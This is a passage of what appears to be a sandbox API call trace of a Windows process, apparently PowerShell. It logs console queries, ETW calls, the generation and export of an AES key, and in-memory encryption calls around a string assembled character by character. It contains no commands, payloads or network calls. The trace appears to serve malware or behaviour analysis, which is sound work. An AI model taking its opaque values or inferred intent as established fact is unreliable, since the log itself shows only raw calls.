lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0137.915] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0137.923] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0137.923] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0137.925] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0137.937] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.938] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.939] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.940] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.941] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.942] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0137.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0137.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.943] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0137.944] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.949] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.949] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.950] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.950] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0137.950] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.951] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.951] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.951] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.952] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.952] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.952] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.953] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0137.953] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0137.960] GetConsoleOutputCP () returned 0x1b5 [0137.960] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.961] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.961] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.961] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.961] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.962] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.963] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.964] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.964] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.964] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.969] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.969] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.969] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.969] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.969] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x19, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.969] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.970] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.971] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.971] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x28, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.971] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.972] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x4396570) returned 1 [0137.973] CryptGenKey (in: hProv=0x4396570, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e84bb8) returned 1 [0137.973] CryptContextAddRef (hProv=0x4396570, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.973] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.973] CryptExportKey (in: hKey=0x8e84bb8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6ba5314, pdwDataLen=0x99ae894 | out: pbData=0x6ba5314*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x52a4\x6ba\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0137.973] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.973] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x29, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.973] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.974] SysStringLen (param_1="") returned 0x8 [0137.974] SysStringLen (param_1="X") returned 0x8 [0137.974] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0137.974] SysStringLen (param_1="\x58d2\xfedb\x3224\x4fe\x24b7\xafd1\xd12c\xad95") returned 0x8 [0137.974] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="Xy") returned 0x8 [0137.974] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="学ℐ彰혢蝧픐恡") returned 0x8 [0137.974] SysStringLen (param_1="学ℐ彰혢蝧픐恡") returned 0x8 [0137.974] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="Xyv") returned 0x8 [0137.974] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="\x908d\x2ed6\x8c13\x2f33\x922f\x391c\x70\x11a0") returned 0x8 [0137.974] SysStringLen (param_1="\x908d\x2ed6\x8c13\x2f33\x922f\x391c\x70\x11a0") returned 0x8 [0137.974] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="Xyvl") returned 0x8 [0137.974] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="\xc0ef\xb7c4\x78cd\xb060\x42ea\x3d08\xc6ca\x8344") returned 0x8 [0137.974] SysStringLen (param_1="\xc0ef\xb7c4\x78cd\xb060\x42ea\x3d08\xc6ca\x8344") returned 0x8 [0137.974] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="Xyvl7") returned 0x8 [0137.974] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.974] SysStringLen (param_1="\x499c\xd8e2\x9a5e\x593a\x7cf8\x3780\x1b3b\x85cc") returned 0x8 [0137.974] SysStringLen (param_1="\x499c\xd8e2\x9a5e\x593a\x7cf8\x3780\x1b3b\x85cc") returned 0x8 [0137.975] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="Xyvl70") returned 0x8 [0137.975] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="\x2add\x100\x620f\xe2d3\x3340\x1986\xe13e\x404b") returned 0x8 [0137.975] SysStringLen (param_1="\x2add\x100\x620f\xe2d3\x3340\x1986\xe13e\x404b") returned 0x8 [0137.975] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="Xyvl70t") returned 0x8 [0137.975] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="\xfb4d\xbb3e\x4bf7\xbfc9\x9c8d\x93b0\xabba\x7dcb") returned 0x8 [0137.975] SysStringLen (param_1="\xfb4d\xbb3e\x4bf7\xbfc9\x9c8d\x93b0\xabba\x7dcb") returned 0x8 [0137.975] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="Xyvl70tS") returned 0x8 [0137.975] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d") returned 0x8 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d") returned 0x8 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d") returned 0x8 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d") returned 0x10 [0137.975] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.975] SysStringLen (param_1="Xyvl70tSW唂胬羏셪贡律⽞") returned 0x10 [0137.975] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x24d8\x6e51\x99cb\xa870\x3d2b\xb775\x58e8\x4fd0") returned 0x10 [0137.975] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x24d8\x6e51\x99cb\xa870\x3d2b\xb775\x58e8\x4fd0") returned 0x10 [0137.975] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="Xyvl70tSW6胬羏셪贡律⽞") returned 0x10 [0137.976] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x41b9\x1cb\x1e97\xceeb\xe755\x23c4\x4613\x6f61") returned 0x10 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x41b9\x1cb\x1e97\xceeb\xe755\x23c4\x4613\x6f61") returned 0x10 [0137.976] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="Xyvl70tSW62羏셪贡律⽞") returned 0x10 [0137.976] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x7fe\x1b9b\xec8a\xbfe7\x130c\xcd55\x97c5\xa3fb") returned 0x10 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x7fe\x1b9b\xec8a\xbfe7\x130c\xcd55\x97c5\xa3fb") returned 0x10 [0137.976] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="Xyvl70tSW62p셪贡律⽞") returned 0x10 [0137.976] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x57b7\x8c56\xea14\xc9a8\xaef6\x82a4\x9ce7\x3df4") returned 0x10 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x57b7\x8c56\xea14\xc9a8\xaef6\x82a4\x9ce7\x3df4") returned 0x10 [0137.976] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="Xyvl70tSW62pG贡律⽞") returned 0x10 [0137.976] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x780f\xcfe7\x5c55\xb44a\xef91\x5571\x3570\xb5ea") returned 0x10 [0137.976] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x780f\xcfe7\x5c55\xb44a\xef91\x5571\x3570\xb5ea") returned 0x10 [0137.976] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.976] SysStringLen (param_1="Xyvl70tSW62pG/律⽞") returned 0x10 [0137.976] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x1c1c\xc955\xf266\x7200\x1f6d\xdeee\x379d\x198d") returned 0x10 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x1c1c\xc955\xf266\x7200\x1f6d\xdeee\x379d\x198d") returned 0x10 [0137.977] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.977] SysStringLen (param_1="Xyvl70tSW62pG/4⽞") returned 0x10 [0137.977] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\xb26e\xa165\xd4f6\x745d\x2677\x76fd\x180d\xa48f") returned 0x10 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\xb26e\xa165\xd4f6\x745d\x2677\x76fd\x180d\xa48f") returned 0x10 [0137.977] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.977] SysStringLen (param_1="Xyvl70tSW62pG/4a") returned 0x10 [0137.977] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a") returned 0x10 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a") returned 0x10 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a") returned 0x10 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a") returned 0x18 [0137.977] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.977] SysStringLen (param_1="Xyvl70tSW62pG/4a/쥷϶ꖙ癏⑹⮾") returned 0x18 [0137.977] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\xb04e\xc093\xeee1\x7412\xfc90\x76a3\x269a\x957f") returned 0x18 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\xb04e\xc093\xeee1\x7412\xfc90\x76a3\x269a\x957f") returned 0x18 [0137.977] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.977] SysStringLen (param_1="Xyvl70tSW62pG/4a/y϶ꖙ癏⑹⮾") returned 0x18 [0137.977] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.977] SysStringLen (param_1="\x4acc\x5528\xf3a4\x7e89\x5aa\x99b4\x1a70\x1f8d\x3b79\xc95d\x70be\xa49f\xb28f\x30ec\x6e45\xc08a\x80c\xb9f9\xf2f1\xdb43\xd1a\xdf09\x6b3e\x6256") returned 